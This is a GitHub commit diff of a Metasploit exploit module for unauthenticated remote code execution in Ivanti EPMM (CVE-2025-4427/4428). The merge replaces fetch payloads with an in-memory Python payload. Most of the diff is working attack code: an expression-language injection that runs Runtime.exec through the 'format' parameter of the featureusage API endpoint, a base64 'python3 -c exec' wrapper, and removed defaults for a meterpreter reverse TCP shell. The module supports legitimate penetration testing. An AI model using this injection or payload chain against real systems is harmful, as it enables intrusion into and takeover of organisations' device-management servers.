Skip to content

Commit 6c8394c

Browse files
authored
Merge pull request rapid7#3 from bwatters-r7/collab/20265
Switch to in-memory python over fetch payloads
2 parents c255638 + 17bf77f commit 6c8394c

File tree

1 file changed

+18
-60
lines changed

1 file changed

+18
-60
lines changed

modules/exploits/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.rb

Lines changed: 18 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,8 @@ def initialize(info = {})
2424
'License' => MSF_LICENSE,
2525
'Author' => [
2626
'CERT-EU', # Original discovery
27-
'Sonny Macdonald & Piotr Bazydlo', # First published PoC
27+
'Sonny Macdonald', # First Published PoC
28+
'Piotr Bazydlo', # First published PoC
2829
'remmons-r7' # MSF Exploit
2930
],
3031
'References' => [
@@ -40,17 +41,10 @@ def initialize(info = {})
4041
'DisclosureDate' => '2025-05-13',
4142
# Runs as the 'tomcat' user
4243
'Privileged' => false,
43-
'Platform' => ['unix', 'linux'],
44-
'Arch' => [ARCH_CMD],
44+
'Platform' => ['python'],
45+
'Arch' => [ARCH_PYTHON], # Tested appliance has Python 3.4.9
4546
'DefaultTarget' => 0,
4647
'Targets' => [ [ 'Default', {} ] ],
47-
'DefaultOptions' => {
48-
# cwd is not writable, so use /var/tmp, which is on an executable partition and can be written to
49-
'FETCH_WRITABLE_DIR' => '/var/tmp',
50-
# After updating Metasploit, the payload began defaulting to aarch64 for some reason
51-
# Specifying x64 here to ensure a sane default
52-
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
53-
},
5448
'Notes' => {
5549
# Confirmed to work multiple times in a row and concurrently
5650
'Stability' => [CRASH_SAFE],
@@ -82,61 +76,25 @@ def check
8276
end
8377
end
8478

85-
def execute_command(cmd)
86-
# Since the execution context only supports one command at a time, split on fetch payload semicolons
87-
commands = cmd.split(';')
88-
resp = nil
89-
90-
commands.each_with_index do |command, index|
91-
command = command.strip
92-
next if command.empty?
93-
94-
# An update to Metasploit in early 2025 changed the way that fetch payloads are constructed
95-
# Previously, fetch payloads appended " &" to the execution command, but now only "&" is appended
96-
# For example, "/var/tmp/EHDjrJnB &" -> "/var/tmp/EHDjrJnB&"
97-
# The expression language execution context doesn't like it unless there's a space, so we add one
98-
command = command.gsub('&', ' &')
99-
100-
vprint_status("Payload part #{index + 1}/#{commands.length}: #{command}")
79+
def execute_command(command)
80+
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{command}').getInputStream()).useDelimiter('%5C%5CA').next()}"
10181

102-
# Non-blind payload reportedly being used in the wild, returns stdout in response body
103-
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{command}').getInputStream()).useDelimiter('%5C%5CA').next()}"
82+
vprint_status("Sending template payload: #{payload}")
10483

105-
vprint_status("Sending template payload: #{payload}")
106-
107-
resp = send_request_cgi(
108-
'method' => 'GET',
109-
# There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
110-
'uri' => normalize_uri(target_uri.path, 'mifs', 'rs', 'api', 'v2', 'featureusage'),
111-
'vars_get' => {
112-
'format' => payload
113-
},
114-
# Setting this timeout lower than the default, since the third request will not receive a response
115-
# Per https://github.com/rapid7/metasploit-framework/issues/12004
116-
'timeout' => 7.5
117-
)
118-
119-
# The third fetch payload command (executing meterpreter) should hang and fail to respond
120-
# If there's no response and it's not the third fetch payload, the exploit failed
121-
if index != 2
122-
unless resp
123-
fail_with(Failure::Unknown, "Failed to execute command part #{index + 1}: #{command}")
124-
end
125-
126-
vprint_status("Command part #{index + 1} response: #{resp.body}")
127-
128-
else
129-
vprint_status('No command part 3 response expected')
130-
end
131-
end
132-
133-
resp
84+
send_request_cgi(
85+
'method' => 'GET',
86+
# There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
87+
'uri' => normalize_uri(target_uri.path, 'mifs', 'rs', 'api', 'v2', 'featureusage'),
88+
'vars_get' => {
89+
'format' => payload
90+
}
91+
)
13492
end
13593

13694
def exploit
137-
# We pass the encoded payload to execute_command
138-
# That will split it up into three commands to execute, and it'll also handle error conditions
13995
vprint_status('Attempting to execute payload')
140-
execute_command(payload.encoded)
96+
base64_payload = Base64.urlsafe_encode64(payload.encoded)
97+
cmd = "python3 -c exec(__import__(\"base64\").b64decode(\"#{base64_payload}\"))"
98+
execute_command(cmd)
14199
end
142100
end

0 commit comments

Comments
 (0)